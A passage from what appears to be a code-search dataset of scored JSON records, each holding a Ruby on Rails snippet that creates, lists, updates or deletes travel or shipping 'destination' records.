"text": "def create\n @destination = Destination.new(destination_params)\n\n respond_to do |format|\n if @destination.save\n format.html { redirect_to @destination, notice: 'Destination was successfully created.' }\n format.json { render action: 'show', status: :created, location: @destination }\n else\n format.html { render action: 'new' }\n format.json { render json: @destination.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6d923e0ab6a659991348a105de30f01c",
"score": "0.63648164",
"text": "def create\n @destination = Destination.new(destination_params)\n\n respond_to do |format|\n if @destination.save\n format.html { redirect_to @destination, notice: 'Destination was successfully created.' }\n format.json { render action: 'show', status: :created, location: @destination }\n else\n format.html { render action: 'new' }\n format.json { render json: @destination.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b18a6f50cde8014128df56d75fac9a48",
"score": "0.63607514",
"text": "def index\n @destinations = Destination.all\n render json: @destinations.map(&:to_h)\n end",
"title": ""
},
{
"docid": "84a1d6fba9e6b3c56458a10f45e5df71",
"score": "0.6340011",
"text": "def create\n\t\t@fb_lead_destination = current_admin.fb_lead_destinations.new(fb_lead_destination_params)\n\n\t\t# respond_to do |format|\n\t\t\tif @fb_lead_destination.save\n\t\t\t\trender :show, status: :created, location: @fb_lead_destination\n\t\t\telse\n\t\t\t\trender json: @fb_lead_destination.errors, status: :unprocessable_entity\n\t\t\tend\n\t\t# end\n\tend",
"title": ""
},
{
"docid": "9fd9d2583e2aa7da7ea58a30638cffd6",
"score": "0.63031244",
"text": "def create_destination\n destination = Mel.destination_input\n @destinations << Mel.new(\n destination[:location],\n destination[:address],\n destination[:url],\n destination[:distance],\n destination[:weather]\n )\n end",
"title": ""
},
{
"docid": "7959acaa6a0d4c2fffb5424f091fab1a",
"score": "0.62884295",
"text": "def create\n @destination = @agent.destinations.build(destination_params)\n if @destination.save\n # Render info I need\n # comments show view\n render \"destinations/details\", :layout => false\n else\n render \"agents/show\"\n end\n # @destinations = @agent.destinations\n # @destination.save\n # render \"agents/show\"\n end",
"title": ""
},
{
"docid": "587785bbadf3c74cf399a5a856455e60",
"score": "0.62615174",
"text": "def index\n\t @destinations = Destination.all\n\n\t respond_to do |format|\n\t\tformat.html # index.html.erb\n\t\tformat.json { render json: @destinations }\n\t end\n\tend",
"title": ""
},
{
"docid": "d56775df559984ded7c15c7de90e1ab9",
"score": "0.62586176",
"text": "def index\n @destinations = Destination.all\n end",
"title": ""
},
{
"docid": "cadd0785ccf24381faa6f801ac145635",
"score": "0.6253616",
"text": "def make_destination\n if params[:destination_zip].blank?\n render json: {error: \"Must provide a destination address\"}, status: :bad_request\n else\n @destination = Location.new(\n :country => params[:destination_country],\n :state => params[:destination_state],\n :city => params[:destination_city],\n :zip => params[:destination_zip])\n end\n end",
"title": ""
},
{
"docid": "ae1c14c9fba2dcfcff642a8a80525df3",
"score": "0.62438375",
"text": "def index\n @destinations = Destination.all\n\n respond_to do |format|\n format.html #index.html.erb\n format.json { render json: @destinations}\n end\n end",
"title": ""
},
{
"docid": "e1a7f0c9f7da9eb5d9e1a46c69573f57",
"score": "0.6209089",
"text": "def create\n @tour_package = current_user.tour_packages.new(tour_package_params)\n\n respond_to do |format|\n if @tour_package.save\n if params[:name] and params[:name].any?\n @tour_package.destinations.each do |d|\n d.destroy\n end\n params[:name].each_with_index do |name,i|\n @tour_package.destinations.create(name:name,point:params[:point][i],date:params[:date][i])\n end\n end\n format.html { redirect_to @tour_package, notice: 'Tour package was successfully created.' }\n format.json { render :show, status: :created, location: @tour_package }\n else\n format.html { render :new }\n format.json { render json: @tour_package.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "30a30c6ad09192b96952a5a941b8ddef",
"score": "0.6203198",
"text": "def create_destinations(destinations_list, opts = {})\n create_destinations_with_http_info(destinations_list, opts)\n nil\n end",
"title": ""
},
{
"docid": "30a30c6ad09192b96952a5a941b8ddef",
"score": "0.6203198",
"text": "def create_destinations(destinations_list, opts = {})\n create_destinations_with_http_info(destinations_list, opts)\n nil\n end",
"title": ""
},
{
"docid": "142761e34acb93c6e947f4c2d9ee6795",
"score": "0.6202323",
"text": "def index\n @destinations = @destineable.destinations\n @title = \"Tour routes and destinations\"\n end",
"title": ""
},
{
"docid": "efb0278c3f3c1175d5402791363ba842",
"score": "0.6196662",
"text": "def create\n @destination = Destination.new(destination_params)\n\n respond_to do |format|\n if @destination.save\n origin = Origin.new(latitude: params['origin-latitude'], longitude: params['origin-longitude'], destination_id: @destination.id)\n origin.save\n format.html { redirect_to @destination, notice: 'Destination was successfully created.' }\n format.json { render :show, status: :created, location: @destination }\n else\n format.html { render :new }\n format.json { render json: @destination.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "230fd388b12b72349678071966b92b90",
"score": "0.618028",
"text": "def index\n @destinations = Destination.all\n end",
"title": ""
},
{
"docid": "f31cb98645df92deb7e9905c2dd3e423",
"score": "0.61749613",
"text": "def create\n @destination = Destination.new(destination_params)\n @destination.user = current_user\n\n respond_to do |format|\n if @destination.save\n format.html { redirect_to @destination, notice: 'Destination was successfully created.' }\n format.json { render :show, status: :created, location: @destination }\n else\n format.html { render :new }\n format.json { render json: @destination.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f263750ff0ed402eab0168893a57203f",
"score": "0.61539763",
"text": "def create\n @destination = Destination.new(params[:destination])\n\n respond_to do |format|\n if @destination.save\n format.html { redirect_to(@destination, :notice => 'Destination was successfully created.') }\n format.xml { render :xml => @destination, :status => :created, :location => @destination }\n else\n @cities = City.all.sort! { |a, b| a.name.downcase <=> b.name.downcase }\n format.html { render :action => \"new\" }\n format.xml { render :xml => @destination.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "387df807e591ddf509ebecac44bb304e",
"score": "0.61447793",
"text": "def create\n @commuter = Commuter.create\n @commuter.create_home(\n address: commuter_params[:home][:address],\n lat: commuter_params[:home][:coordinates][:lat],\n lng: commuter_params[:home][:coordinates][:lng]\n )\n\n commuter_params[:destinations].map do |destination|\n @commuter.destinations.create(\n address: destination[:address],\n lat: destination[:coordinates][:lat],\n lng: destination[:coordinates][:lng],\n place_type: destination[:type],\n mode: destination[:mode]\n )\n end\n\n respond_to do |format|\n if @commuter.save\n format.html { redirect_to @commuter, notice: 'Commuter was successfully created.' }\n format.json { render :show, status: :created, location: @commuter }\n else\n format.html { render :new }\n format.json { render json: @commuter.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "23c31333fe3f1408df191f7a1da86579",
"score": "0.61053026",
"text": "def add_destinations(destinations_array)\n destinations_array.each do |destination_hash|\n destination = TopTravelDestinations::Destination.new(destination_hash) \n self.destinations << destination\n destination.region = self\n end\n end",
"title": ""
},
{
"docid": "5fd83af5b54d6fe224e6d936206570bf",
"score": "0.6104703",
"text": "def prep_destinations\n # grab addresses from request params\n @delivery_route_addresses = params[:route][:addresses_attributes]\n # map delivery addresses into [x,y]\n @destinations = @delivery_route_addresses.map.with_index(1) { |address, idx|\n # concat address vales into continuous string\n address = address.values.join(', ')\n # use Geocoder to get lat, lon coordiantes\n coords = Geocoder.search(address).first.coordinates\n # clean results and convert to strings\n coords = coords.reject(&:blank?).join(',')\n # properly format destinations for API request\n coords = 'destination' + idx.to_s + '=' + coords\n }\n return @destinations\n end",
"title": ""
},
{
"docid": "7f561ff4d8a224275035c7e45e01bb1a",
"score": "0.6089321",
"text": "def new\n @destination = @destineable.destinations.new\n end",
"title": ""
},
{
"docid": "a5e0a7f06cf9e7b3060adeec096e7c7c",
"score": "0.6075988",
"text": "def create\n params.permit!\n @destination = Destination.new(params[:destination])\n\n respond_to do |format|\n if @destination.save\n format.html { redirect_to(@destination, :notice => 'Destination was successfully created.') }\n format.xml { render :xml => @destination, :status => :created, :location => @destination }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @destination.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "dae80ea9ba149ff290ce79f269c02efa",
"score": "0.60746604",
"text": "def create\n @prod_destination = ProdDestination.new(prod_destination_params)\n\n respond_to do |format|\n if @prod_destination.save\n format.html { redirect_to prod_destinations_url(), notice: \"Prod destination was successfully created.\" }\n format.json { render :show, status: :created, location: @prod_destination }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @prod_destination.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e59d51cc0c255056dcd2b630ac29610d",
"score": "0.6067662",
"text": "def index\n @destinations = Destination.paginate(page: params[:page])\n end",
"title": ""
},
{
"docid": "f69432907c2a745859264ee89618f5b8",
"score": "0.6011065",
"text": "def index\n @destinations = @agent.destinations\n respond_to do |format|\n format.html {render 'index.html', :layout => false}\n format.js {render 'index.js', :layout => false}\n format.json {render json: @destinations}\n end\n end",
"title": ""
},
{
"docid": "47df83d8ac767ca15bf85603c0aaaae0",
"score": "0.60037434",
"text": "def destinations; end",
"title": ""
},
{
"docid": "f8147d32ded4afa90b3df805fb3e26e9",
"score": "0.598002",
"text": "def create\n @trip_destination = TripDestination.new(params[:trip_destination])\n\n respond_to do |format|\n if @trip_destination.save\n format.html { redirect_to @trip_destination, notice: 'Trip destination was successfully created.' }\n format.json { render json: @trip_destination, status: :created, location: @trip_destination }\n else\n format.html { render action: \"new\" }\n format.json { render json: @trip_destination.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2510ddf4e30f6c2ca3ea99e0a67186d4",
"score": "0.5932943",
"text": "def create_destinations(destinations)\n @destinations = {}\n destinations.each do |corp, dest|\n dest_arr = Array(dest)\n d_goals = Array(dest_arr.first)\n d_start = dest_arr.size > 1 ? dest_arr.last : corporation_by_id(corp).coordinates\n @destination_statuses[corp] = \"Dest: Connect Home (#{d_start}) to #{d_goals}\"\n dest_arr.each do |d|\n # Array(d).first allows us to treat 'E5' or %[O2 N3] identically\n hex_by_id(Array(d).first).original_tile.icons << Part::Icon.new(icon_path(corp))\n end\n @destinations[corp] = [d_start, d_goals].freeze\n end\n end",
"title": ""
},
{
"docid": "3c61a38fcc74076f0f5b0ecad99d7d98",
"score": "0.5896652",
"text": "def create\n @destiny = Destiny.new(destiny_params)\n\n respond_to do |format|\n if @destiny.save\n format.html { redirect_to @destiny, notice: 'Destiny was successfully created.' }\n format.json { render :show, status: :created, location: @destiny }\n else\n format.html { render :new }\n format.json { render json: @destiny.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3ef6f448327374b7c4cefd0ba94b2076",
"score": "0.5889588",
"text": "def create\n unless params[:cust_iti_request][:destinations].nil?\n params[:cust_iti_request][:destinations].reject! { |c| c.empty? }\n end\n params[:cust_iti_request][:no_of_children] = 0 unless params[:cust_iti_request][:no_of_children].present?\n @cust_iti_request = CustItiRequest.new(cust_iti_request_params)\n respond_to do |format|\n if @cust_iti_request.save\n format.html { redirect_to @cust_iti_request, notice: 'Cust iti request was successfully created.' }\n format.json { render action: 'show', status: :created, location: @cust_iti_request }\n else\n format.html { render action: 'new' }\n # format.html { redirect_to user_unwinders_path(:cust_iti_request => @cust_iti_request.attributes), notice: 'Cust iti request was successfully created.' }\n format.json { render json: @cust_iti_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "bba82c2c0fa2a70af1be25ef587004d8",
"score": "0.5878561",
"text": "def create\n\t @destination = Destination.new(params[:destination])\n\n\t respond_to do |format|\n\t\tif @destination.save\n\t\t format.html { redirect_to [:admin, @destination], notice: 'Destino agregado exitosamente.' }\n\t\telse\n\t\t format.html { render action: \"new\" }\n\t\tend\n\t end\n\tend",
"title": ""
},
{
"docid": "d30776ca045a1c062da1a87b4015a9ff",
"score": "0.58680964",
"text": "def get_destinations(opts = {})\n data, _status_code, _headers = get_destinations_with_http_info(opts)\n data\n end",
"title": ""
},
{
"docid": "d30776ca045a1c062da1a87b4015a9ff",
"score": "0.58680964",
"text": "def get_destinations(opts = {})\n data, _status_code, _headers = get_destinations_with_http_info(opts)\n data\n end",
"title": ""
},
{
"docid": "0e512c462000993c6adb507a919845f6",
"score": "0.5835993",
"text": "def create\n @destino = Destino.new(destino_params)\n\n respond_to do |format|\n if @destino.save\n format.html { redirect_to @destino, notice: 'Destino was successfully created.' }\n format.json { render :show, status: :created, location: @destino }\n else\n format.html { render :new }\n format.json { render json: @destino.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2a2a90a788208148dcf61dcb719983c5",
"score": "0.58336073",
"text": "def create\n @tourist_destination = TouristDestination.new(tourist_destination_params)\n\n respond_to do |format|\n if @tourist_destination.save\n format.html { redirect_to @tourist_destination, notice: 'Tourist destination was successfully created.' }\n format.json { render :show, status: :created, location: @tourist_destination }\n else\n format.html { render :new }\n format.json { render json: @tourist_destination.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "abef64f7b10ba1e8b86a626ac0fb2b93",
"score": "0.58245957",
"text": "def index\n @destinations = Destination.order('id desc').paginate(:page => params[:page])\n end",
"title": ""
},
{
"docid": "61e3bbcc02f8dc13c8c6ab3011871a6f",
"score": "0.58174074",
"text": "def destination_params\n params.require(:destination).permit(:airport_id, :name, :address, :address_description, :avg_duration_min, :distance, :lat, :long)\n end",
"title": ""
},
{
"docid": "210e8618071779ad8d15f5337c6be67f",
"score": "0.5810212",
"text": "def show\n user = User.find(params[:id])\n render json: user, include: :destinations\n end",
"title": ""
},
{
"docid": "4975a510b8b956cebf742205e0453735",
"score": "0.5807971",
"text": "def destinations\n @attributes['destinations']\n end",
"title": ""
},
{
"docid": "3f33d2a06215ea8bf39b9ab4c1dfb744",
"score": "0.579623",
"text": "def initialize\n @destinations = JSON.parse(read_destination)\n new_destinations\n end",
"title": ""
},
{
"docid": "0060a653db62eba962f2181b74c8f7f2",
"score": "0.57951236",
"text": "def create\n @dest_location = DestLocation.new(dest_location_params)\n\n respond_to do |format|\n if @dest_location.save\n format.html { redirect_to @dest_location, notice: \"Dest location was successfully created.\" }\n format.json { render :show, status: :created, location: @dest_location }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @dest_location.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "31b9c5d92c231696d7313e8750a1f4f1",
"score": "0.5787564",
"text": "def destination_params\n params.require(:destination).permit(:name, :description, :starts_at, :ends_at, :address, :latitude, :longitude, :google_places_id, :picture_url, :hotel_id,\n hotel_reservations_attributes: [:id, :room, :notes])\n end",
"title": ""
},
{
"docid": "845f06ced256f50ffeeef388888963ee",
"score": "0.57830036",
"text": "def destination_params\n params.require(:destination).permit(:location, :price, :trip_length, :weather, :agent_id)\n end",
"title": ""
},
{
"docid": "074dac30696a7db70285798505171409",
"score": "0.5764591",
"text": "def create\n event = Event.create(event_params)\n Destination.randomize(3).each do |destination|\n event.destination_options.create(destination: destination)\n end\n render json: event, include: ['destination_options.destination', 'votes']\n end",
"title": ""
},
{
"docid": "7c83b2f1a6a8362e35ee9f4f28094f86",
"score": "0.57525164",
"text": "def get_destinations_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DispatchApi.get_destinations ...'\n end\n # resource path\n local_var_path = '/dispatch/destinations'\n\n # query parameters\n query_params = {}\n query_params[:'courseId'] = opts[:'course_id'] if !opts[:'course_id'].nil?\n query_params[:'since'] = opts[:'since'] if !opts[:'since'].nil?\n query_params[:'until'] = opts[:'_until'] if !opts[:'_until'].nil?\n query_params[:'datetimeFilter'] = opts[:'datetime_filter'] if !opts[:'datetime_filter'].nil?\n query_params[:'tags'] = @api_client.build_collection_param(opts[:'tags'], :csv) if !opts[:'tags'].nil?\n query_params[:'filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n query_params[:'filterBy'] = opts[:'filter_by'] if !opts[:'filter_by'].nil?\n query_params[:'orderBy'] = opts[:'order_by'] if !opts[:'order_by'].nil?\n query_params[:'more'] = opts[:'more'] if !opts[:'more'].nil?\n query_params[:'includeTotalCount'] = opts[:'include_total_count'] if !opts[:'include_total_count'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['APP_NORMAL', 'OAUTH']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'DestinationListSchema')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DispatchApi#get_destinations\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "1dc7fe256442095ea560ea6fbe1d2cd9",
"score": "0.57373446",
"text": "def destination_params\n params.require(:destination).permit(:latitude, :longitude, :address, :description, :title, :origin)\n end",
"title": ""
},
{
"docid": "f4b033d0fab8939761461c489e2a6802",
"score": "0.5737052",
"text": "def set_destination\n @trip = Trip.find(params[:trip_id])\n @destination = @trip.destinations.find(params[:id])\n end",
"title": ""
},
{
"docid": "198bbeb1f5967934b947396705edd963",
"score": "0.5736642",
"text": "def add_destinations(floors)\n filter(floors)\n @destinations << floors \n @destinations.flatten!\n @destinations.sort!\n @destinations.reverse! if current_floor_request.down?\n end",
"title": ""
},
{
"docid": "42fc57b601ce735de11a86609324288b",
"score": "0.5716759",
"text": "def destination_params\n params.require(:destination).permit(:city, :country, :books, user_ids: [])\n end",
"title": ""
},
{
"docid": "47097d1561ae444e6168fbc3defa98b2",
"score": "0.5702007",
"text": "def destination_params\n params.require(:destination).permit(:title, :description, :trip_id, :website, :rating, :country, :city, :post_code, :lng, :lat, :formatted_address)\n end",
"title": ""
},
{
"docid": "adbd5d8f7484005d821180a34a5e44e3",
"score": "0.5696802",
"text": "def create\n @shipping_destination = ShippingDestination.new(params[:shipping_destination])\n\n respond_to do |format|\n if @shipping_destination.save\n format.html {\n if request.xhr?\n render :partial => \"setup/forms/shipping_destinations/shipping_destinations_edit\", :locals => {:shipping_destination => @shipping_destination, :read_only => false}, :layout => false, :status => :created\n end\n }\n else\n\n format.html {\n if request.xhr?\n render :partial => \"setup/forms/shipping_destinations/shipping_destinations_edit\", :locals => {:shipping_destination => @shipping_destination, :read_only => false}, :layout => false, :status => :unprocessable_entity\n end\n }\n end\n end\n end",
"title": ""
},
{
"docid": "6059cad23fe51d13d5e4bebdaa3a1c81",
"score": "0.56929064",
"text": "def destinations_data(destination)\n [{\n type: destination[:type],\n addressLine1: destination[:addressLine1],\n addressLine2: destination[:addressLine2],\n addressLine3: destination[:addressLine3],\n addressLine4: destination[:addressLine4],\n addressLine5: destination[:addressLine5],\n addressLine6: destination[:addressLine6],\n treatLine2AsAddressee: destination[:treatLine2AsAddressee],\n treatLine3AsAddressee: destination[:treatLine3AsAddressee],\n city: destination[:city],\n state: destination[:state],\n postalCode: destination[:postalCode],\n countryName: destination[:countryName],\n countryCode: destination[:countryCode]\n }]\n end",
"title": ""
},
{
"docid": "b82c180671f731a560850f540f25a968",
"score": "0.56756324",
"text": "def index\n @destinations = Destination.all.order('created_at DESC')\n end",
"title": ""
},
{
"docid": "2088fd48ddcb2e18d1f2c32a8239802b",
"score": "0.56302714",
"text": "def index\n @tourist_destinations = TouristDestination.all\n end",
"title": ""
},
{
"docid": "06fc36458fa68f419765a4f569210762",
"score": "0.5627583",
"text": "def destination(args = {})\n make_request(\n http_method: :put,\n endpoint: path_for(:destination, ride_id: args.delete(:ride_id)),\n access_token: args.delete(:access_token),\n options: { body: args.to_json }\n )\n end",
"title": ""
},
{
"docid": "bcdc7a4c8b448e86bd06ee0077ba2a50",
"score": "0.56271327",
"text": "def new\n @destination = Destination.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @destination }\n end\n end",
"title": ""
},
{
"docid": "1b8485160686fdadf522d3204aa4f26e",
"score": "0.5620956",
"text": "def destination_params\n params.require(:destination).permit(:name, :description, :latitude, :longitude, :zoom, :state_id, :highlights, :things_to_do, :camping_tips)\n end",
"title": ""
},
{
"docid": "da69276114de44d988fd0a8e75b2d2d8",
"score": "0.56157714",
"text": "def create\n @trip = Trip.new(\n current_location: params[:current_location],\n destination: params[:destination]\n )\n @trip.save\n render 'show.json.jb'\n end",
"title": ""
},
{
"docid": "1d6262bf660a4fa484ecbc70362bb8e1",
"score": "0.5610372",
"text": "def new\n\t @destination = Destination.new\n\n\t respond_to do |format|\n\t\tformat.html # new.html.erb\n\t\tformat.json { render json: @destination }\n\t end\n\tend",
"title": ""
},
{
"docid": "ce3a35fe3857f0df5d14d936f46aec88",
"score": "0.5608488",
"text": "def destination_params\n params.require(:destination).permit(:name, :description, :city, :state, :country, :visited)\n end",
"title": ""
},
{
"docid": "296ac89663f259d606fd8a42ed853387",
"score": "0.5592842",
"text": "def create\n @destiny = Destiny.new(destiny_params)\n\n respond_to do |format|\n if @destiny.save\n flash[:success] = @@msgs\n format.html { redirect_to @destiny, notice: 'Destiny was successfully created.' }\n format.json { render :show, status: :created, location: @destiny }\n else\n flash[:danger] = @@msge\n format.html { render :new }\n format.json { render json: @destiny.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7af5f92ef01d166202b8b7edbd5c4365",
"score": "0.5575799",
"text": "def index\n @prod_destinations = ProdDestination.all\n end",
"title": ""
},
{
"docid": "fad229aa691225fef6cbe80f7553e3c0",
"score": "0.55658305",
"text": "def index\n @destinations = Destination.all.sort { |a, b| a[:name] <=> b[:name] }\n end",
"title": ""
},
{
"docid": "aec92c32a3c302ae8a5f95ab6bcbf8e8",
"score": "0.5565092",
"text": "def create \n @destination = Destination.find(params[:destination_id])\n @trip = @destination.trips.create(trip_params)\n if @trip.save\n redirect_to destination_path(@destination)\n else\n render 'destinations/show' #render show.html.erb under destinations controller\n end\n end",
"title": ""
},
{
"docid": "234cbccc7e1ea81e8721442470f82b5c",
"score": "0.5545282",
"text": "def get_destinations_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DispatchApi.get_destinations ...'\n end\n if @api_client.config.client_side_validation && opts[:'datetime_filter'] && !['created', 'updated'].include?(opts[:'datetime_filter'])\n fail ArgumentError, 'invalid value for \"datetime_filter\", must be one of created, updated'\n end\n if @api_client.config.client_side_validation && opts[:'order_by'] && !['updated_asc', 'updated_desc', 'created_asc', 'created_desc'].include?(opts[:'order_by'])\n fail ArgumentError, 'invalid value for \"order_by\", must be one of updated_asc, updated_desc, created_asc, created_desc'\n end\n # resource path\n local_var_path = '/dispatch/destinations'\n\n # query parameters\n query_params = {}\n query_params[:'courseId'] = opts[:'course_id'] if !opts[:'course_id'].nil?\n query_params[:'more'] = opts[:'more'] if !opts[:'more'].nil?\n query_params[:'since'] = opts[:'since'] if !opts[:'since'].nil?\n query_params[:'until'] = opts[:'_until'] if !opts[:'_until'].nil?\n query_params[:'tags'] = @api_client.build_collection_param(opts[:'tags'], :csv) if !opts[:'tags'].nil?\n query_params[:'datetimeFilter'] = opts[:'datetime_filter'] if !opts[:'datetime_filter'].nil?\n query_params[:'orderBy'] = opts[:'order_by'] if !opts[:'order_by'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['APP_NORMAL', 'OAUTH']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'DestinationListSchema')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DispatchApi#get_destinations\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "3e0c3870066aae3dd828ca95a57e972d",
"score": "0.5539185",
"text": "def create\n @destination = Destination.new(destination_param)\n @destination.gallery = Gallery.create(:title => @destination.name)\n\n respond_to do |format|\n if @destination.save\n format.html { redirect_to(admin_destinations_url, :notice => 'Destination was successfully created.') }\n format.xml { render :xml => @destination, :status => :created, :location => @destination }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @destination.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7bc4a068fac6408d6684c16c5ff9be44",
"score": "0.55230826",
"text": "def destroy\n @destination = @organism.destinations.find(params[:id])\n @destination.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_organism_destinations_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "1c5516d307b9ffdf84d215a0d88ad54a",
"score": "0.5497497",
"text": "def new\n @destination = @organism.destinations.new\n @destination.sector_id = @organism.sectors.first.id\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @destination }\n end\n end",
"title": ""
},
{
"docid": "6b3aab7a3c1e064f30bddb706fc1fffb",
"score": "0.5494957",
"text": "def index\n @dest_locations = DestLocation.all\n end",
"title": ""
},
{
"docid": "bf9323cee5aa2160617c7c15cd159e81",
"score": "0.5492319",
"text": "def update\n @trip.destinations.destroy_all\n respond_to do |format|\n if @trip.update(trip_params)\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { render :show, status: :ok, location: @trip }\n else\n format.html { render :edit }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "493743ef808b803a15d5fde958679dd3",
"score": "0.54881865",
"text": "def show\n @destination = Destination.find(params[:id])\n\n render json: @destination\n end",
"title": ""
},
{
"docid": "31f92dab428a3b7ac88bc4d7ca53302c",
"score": "0.54873693",
"text": "def set_Destinations(value)\n set_input(\"Destinations\", value)\n end",
"title": ""
},
{
"docid": "31f92dab428a3b7ac88bc4d7ca53302c",
"score": "0.54873693",
"text": "def set_Destinations(value)\n set_input(\"Destinations\", value)\n end",
"title": ""
},
{
"docid": "31f92dab428a3b7ac88bc4d7ca53302c",
"score": "0.54873693",
"text": "def set_Destinations(value)\n set_input(\"Destinations\", value)\n end",
"title": ""
},
{
"docid": "2c2ce75cd26acd10c4f04420daea0e74",
"score": "0.5484174",
"text": "def create\n Route.create!(\n data_source: params[:source],\n start_node: params[:start_node],\n end_node: params[:end_node],\n start_time: params[:start_time],\n end_time: params[:end_time]\n )\n head :no_content\n end",
"title": ""
},
{
"docid": "cffb852d0214ea71c40843f0200ead4d",
"score": "0.5482038",
"text": "def update\n respond_to do |format|\n if @tour_package.update(tour_package_params)\n if params[:name] and params[:name].any?\n @tour_package.destinations.each do |d|\n d.destroy\n end\n params[:name].each_with_index do |name,i|\n @tour_package.destinations.create(name:name,point:params[:point][i],date:params[:date][i])\n end\n end\n format.html { redirect_to @tour_package, notice: 'Tour package was successfully updated.' }\n format.json { render :show, status: :ok, location: @tour_package }\n else\n format.html { render :edit }\n format.json { render json: @tour_package.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6398a678d7ac02a17f3e233ec228eac0",
"score": "0.54786456",
"text": "def index\n from = params[:origin] if params[:origin].present?\n to = params[:destination] if params[:destination].present?\n @road_trip = RoadTripFacade.road_trip(from, to)\n if @road_trip.class == Array\n return bad_request(@road_trip)\n else\n @serial = RoadtripSerializer.new(@road_trip)\n render json: @serial\n end\n \n\n # RoadtripFacade.roadtrips(origin, destination)\n # render json: {data: 'success'}\n end",
"title": ""
},
{
"docid": "acf2ea260b1f86d66b5bd9517efb5de2",
"score": "0.5467751",
"text": "def create\n @direction = Direction.new(direction_params)\n\n if @direction.save\n render json: @direction, status: :created#, location: @direction\n else\n render json: @direction.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "6292a8c3025e6452e164c31752c5a990",
"score": "0.54551256",
"text": "def destroy\n @destination.destroy\n respond_to do |format|\n format.html { redirect_to destinations_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6292a8c3025e6452e164c31752c5a990",
"score": "0.54551256",
"text": "def destroy\n @destination.destroy\n respond_to do |format|\n format.html { redirect_to destinations_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6292a8c3025e6452e164c31752c5a990",
"score": "0.54551256",
"text": "def destroy\n @destination.destroy\n respond_to do |format|\n format.html { redirect_to destinations_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "aa7010cae87de91300c10a227dae72f5",
"score": "0.5435497",
"text": "def destination_params\n params.require(:destination).permit(:city, :country, :population, :description, :avatar)\n end",
"title": ""
},
{
"docid": "d2346f2be7348ee9360555cf7d28dbd2",
"score": "0.5428879",
"text": "def create\n @journey = Journey.new(journey_params)\n respond_to do |format|\n if @journey.save\n flash[:success]=\"#{@journey.name} was successfully created\"\n\n format.html { redirect_to @journey}\n format.json { render :show, status: :created, location: @journey }\n else\n\n @buses = Bus.all\n @destinations = Destination.all\n\n format.html { render :new }\n format.json { render json: @journey.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c2cfae39aeffde72d2dae8f9fb1e633d",
"score": "0.5408653",
"text": "def index\n @destinies = Destiny.all\n end",
"title": ""
},
{
"docid": "985d82737aa41a850ad2dca9f0cc95df",
"score": "0.54043317",
"text": "def dest_location_params\n params.require(:dest_location).permit(:destination_id, :location_id)\n end",
"title": ""
},
{
